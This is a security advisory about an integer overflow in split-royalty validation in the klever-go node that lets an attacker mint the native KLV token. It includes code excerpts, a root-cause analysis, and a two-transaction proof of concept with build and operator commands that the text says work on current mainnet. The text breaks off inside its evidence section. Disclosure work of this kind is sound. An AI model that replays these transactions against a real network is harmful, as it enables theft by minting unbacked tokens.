Summary

Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)

Advisory details

Summary

The per-entry percentages of a KDA asset's split royalties are validated by summing them into a uint32 accumulator and checking the sum against HundredPercent (10000), with no upper bound on each individual entry. Two split entries whose percentages sum to just over 2^32 wrap around below 10000 and pass validation, while each stored value remains astronomically large (e.g. 0x80000000 = 2,147,483,648 ≈ 21,474,836%).

At royalty payout, each split recipient is credited pool × hugePct / 10000 — far more than the royalty pool — and the resulting negative remainder is silently discarded (if royaltiesToPay <= 0 { return Ok }). Because fixed royalties (and marketplace/ITO royalties) are denominated in KLV, an attacker mints KLV (the native token) out of thin air, on demand, by transferring or selling their own throwaway asset.

This is independent of, and not mitigated by, the existing FixMarketBuyOverflow guard.

Affected component

  • Repository: klever-io/klever-go (node).
  • Validation: core/process/kda/assetHelper.go, core/kapp/kda/create.go, core/kapp/kda/trigger.go, core/kapp/builtInFunctions/utils.go.
  • Payout (mint sites): core/kapp/accounts/accounts.go (transfer), core/kapp/market/market.go (marketplace buy), core/kapp/ito/ito.go (ITO buy).
  • Not gated by any fork flag — exploitable on current mainnet.

Root cause

1. Per-entry split percentages are decoded as raw uint32 with no bound

core/kapp/builtInFunctions/utils.godecodeSplitInfo (≈L292):

func decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {
	fields := []*uint32{
		&splitInfo.PercentTransferPercentage,
		&splitInfo.PercentTransferFixed,
		&splitInfo.PercentMarketPercentage,
		&splitInfo.PercentMarketFixed,
		&splitInfo.PercentITOPercentage,
		&splitInfo.PercentITOFixed,
	}
	for _, field := range fields {
		if err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check
			return err
		}
	}
	return nil
}

2. Validation sums into a uint32 and only checks the sum

core/kapp/kda/create.go (fungible path, ≈L351-382; NFT path ≈L228-264):

sumSplitTransferPercentage := uint32(0)   // L351  <-- uint32 accumulator
sumSplitTransferFixed       := uint32(0)
// ...
for key, value := range tc.GetRoyalties().GetSplitRoyalties() {
	// ... no per-entry bound ...
	sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32
	sumSplitTransferFixed       += value.GetPercentTransferFixed()
	// ...
}
if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum
	return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue
}

core/process/kda/assetHelper.go (L101):

func CheckValid100Params(values ...uint32) bool {
	for _, value := range values {
		if value > core.HundredPercent { // HundredPercent = 10000
			return false
		}
	}
	return true
}

The per-entry > HundredPercent check that exists for TransferPercentage tiers (create.go:398, trigger.go:780) does not apply to these SplitRoyalties fields.

0x80000000 + 0x80000000 = 0x1_0000_0000wraps to 0 in uint32CheckValid100Params(0) is true.

3. Payout over-pays and silently drops the negative remainder (mint), in KLV

core/kapp/accounts/accounts.goprocessFixedRoyaltiesTransfer (L316-382):

err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty
// ...
royaltiesFixedToPay := kda.Royalties.TransferFixed
for key, value := range kda.Royalties.SplitRoyalties {
	// L343: split paid in KLV using the overflowed PercentTransferFixed
	status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,
		acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)
	// ...
}
if royaltiesFixedToPay <= 0 {   // L349: negative remainder silently dropped (no error)
	return transaction.Transaction_Ok, nil
}

computeSplitRoyalties (L276-314):

splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287
*royaltiesToPay -= splitToPay                                                                              // L291
err = splitRoyalty.AddToBalance(splitToPay, assetID, ...)                                                  // L293: credit, no matching debit

tools/converters.goComputePercentageI64 (L102): for a small pool, pool * 0x80000000 / 10000 fits in int64, so no overflow error fires — it simply returns the inflated amount.

Net: sender debited TransferFixed KLV (e.g. 1 KLV); each split recipient credited TransferFixed × 0x80000000 / 10000 KLV. KLV minted = (sum of split credits) − TransferFixed.

The same pattern exists in core/kapp/market/market.go (computeRoyaltiesAmount L490+ in the sale currencyID; computeRoyaltiesFixedDeposit L443+ in KLV — silent skips at L456/L503) and core/kapp/ito/ito.go (L429/L499). The shipped FixMarketBuyOverflow guard only checks the top-level marketOwnerAmount < 0, not these intra-royalty split over-payments.


Proof of Concept (reproduce from scratch)

A single-node local network is sufficient. Full environment setup is in the companion runbook REPRODUCE-split-royalty-overflow.md; the exploit itself is two transactions.

Prereqs (build + run a single node)

export REPO=/path/to/klever-go && cd "$REPO"
go build -o /tmp/klnode ./cmd/node
go build -o /tmp/kloperator ./cmd/operator
go build -o /tmp/klkeygen ./cmd/keygenerator
# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a
# funded wallet (klvDenomination 6), then:
nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \
  --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \
  > /tmp/klnode.log 2>&1 < /dev/null & disown

Step 1 — create a malicious asset (your own throwaway token)

The operator stores percentages as uint32(input × 100), so 21474836.48 → 2147483648 = 0x80000000. Two entries make the uint32 sum wrap to 0.

R1=<any valid klv1 address>   # clean recipient, will receive minted KLV
R2=<any valid klv1 address>   # second recipient
/tmp/kloperator kda create 0 \
  --name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \
  --royaltiesAddress=<owner> \
  --royaltiesTransferFixed=1 \
  --splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \
  --splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \
  -s --await

Expected: resultCode: Ok. The node stores percentTransferFixed: 2147483648 for both recipients (a correct chain would reject this).

Step 2 — mint KLV with one ordinary transfer

/tmp/kloperator account send "$R2" 1 --kda KPRT2-<id> -s --await

Expected: resultCode: Ok, with two KLV transfer receipts of 214748364800 (= 214,748.36 KLV) to R1 and R2 — for a TransferFixed royalty of 1000000 (1 KLV).

Verify the mint

# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:
curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \
 "import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')"

Evidence (live single-node run, chainID 420420)

Asset creation — overflowed split royalties accepted (resultCode: Ok)

tx 1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb, broadcast contract (operator output, abridged):

{
  "type": 0, "name": "KlvPrinter2", "ticker": "KPRT2",
  "ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0v

References